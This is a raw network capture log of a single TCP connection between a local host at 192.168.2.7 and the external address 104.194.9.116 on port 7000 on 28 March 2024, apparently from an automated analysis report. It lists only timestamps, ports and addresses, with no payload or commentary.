Mar 28, 2024 10:25:41.855276108 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.855333090 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.855377913 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.855434895 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.910583019 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.952975988 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.952994108 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.953006983 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.953021049 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.953041077 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.953061104 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.953089952 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.953090906 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.953104019 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.953118086 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.953123093 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.953130960 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.953142881 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.953152895 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.953156948 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.953183889 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.953195095 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.953233004 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.953250885 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.953269005 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.953283072 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.953296900 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.953305006 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.953342915 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.953346968 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.953362942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.953396082 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.955440044 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.955532074 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.955583096 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.955583096 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.955615044 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.955665112 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.955698013 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.955750942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.955789089 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.955811977 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.955854893 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.955889940 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.955913067 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.955945969 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.955977917 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.955990076 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.956012011 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.956037045 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.956063986 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.956064939 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.956104994 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.956126928 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.956152916 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.956166983 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.956180096 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.956197023 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.956204891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.956221104 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.956227064 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.956268072 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.036488056 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.082448006 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.084073067 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084100962 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084156036 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.084170103 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084261894 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084276915 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084300041 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.084323883 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084362984 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.084430933 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084466934 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084500074 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.084505081 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084518909 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084532022 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084554911 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.084578991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084598064 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084614038 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.084621906 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084636927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084656000 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.084665060 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084698915 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.084708929 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084790945 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084825993 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.084906101 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084925890 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084939003 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084952116 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084956884 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.084965944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084980011 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.084986925 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.084994078 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.085016012 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.085042953 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.085058928 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.085073948 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.085073948 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.085088015 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.085102081 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.085105896 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.085115910 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.085133076 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.085171938 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.085213900 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.085216045 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.085231066 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.085242987 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.085262060 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.085267067 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.085288048 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.085300922 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.085303068 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.085339069 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.200109959 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200126886 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200139999 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200154066 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200166941 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200177908 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200192928 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200207949 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200237036 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.200263977 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200268984 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.200278997 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200292110 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200323105 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.200351954 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200392008 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.200409889 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200486898 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200525999 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.200558901 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200650930 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200690031 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.200706959 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200733900 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200777054 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.200798035 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200850964 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200896025 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.200901985 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.200979948 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.201020956 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.201050043 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.201088905 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.201122046 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.201137066 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.201164007 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.201178074 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.201203108 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.201209068 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.201252937 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.201256990 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.201267004 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.201308012 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.201330900 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.201380014 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.201416969 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.201478004 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.201572895 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.201612949 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.201693058 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.201879978 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.201930046 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.202011108 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.202148914 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.202187061 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.202208996 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.254338026 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.332778931 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.332799911 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.332812071 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.332833052 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.332845926 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.332858086 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.332871914 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.332887888 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.332902908 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.332916021 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.332945108 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.332954884 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.332998037 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.333003044 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.333017111 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.333051920 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.333087921 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.333126068 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.333158016 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.333188057 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.333379030 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.333431959 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.333452940 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.333482027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.333518982 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.333574057 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.333617926 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.333631992 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.333657980 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.333693027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.333729982 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.333801985 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.333847046 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.333885908 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.333950043 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.333964109 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.334000111 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.334019899 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.334078074 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.334111929 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.334121943 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.334125996 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.334167004 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.334183931 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.334203959 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.334211111 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.334243059 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.334245920 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.334265947 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.334285975 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.334314108 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.334327936 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.334342003 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.334353924 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.334381104 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.375057936 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.426229000 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.460623980 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.460669041 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.460732937 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.460802078 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.460896015 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.460937023 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.461137056 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.461306095 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.461359024 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.461380005 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.461483002 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.461527109 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.461566925 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.461687088 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.461726904 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.461850882 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.461965084 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.462007999 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.462141037 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.462219000 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.462260008 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.462446928 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.462555885 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.462599039 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.462615967 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.462667942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.462707043 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.462740898 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.462821960 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.462865114 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.462938070 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.463007927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.463047981 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.463085890 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.463165045 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.463200092 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.463207960 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.463263035 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.463305950 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.463320017 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.463373899 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.463407993 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.463423967 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.463545084 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.463587046 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.463598967 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.463649988 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.463690042 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.463701010 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.463776112 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.463802099 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.463816881 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.463851929 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.463893890 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.463917971 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.463972092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.464010000 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.529264927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.571333885 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.571465015 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.571479082 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.571487904 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.571492910 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.571512938 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.571527958 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.571531057 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.571566105 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.571600914 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.571639061 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.571650982 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.571667910 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.571712017 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.571768045 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.571860075 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.571893930 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.571898937 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.571930885 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.571969032 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.571993113 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.572091103 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.572127104 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.572148085 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.572206020 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.572242975 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.572253942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.572299957 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.572339058 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.572361946 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.572388887 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.572428942 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.572462082 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.572513103 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.572552919 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.572596073 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.572638035 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.572674036 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:42.572715998 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:42.572809935 CET	7000	49713	104.194.9.116	192.168.2.7
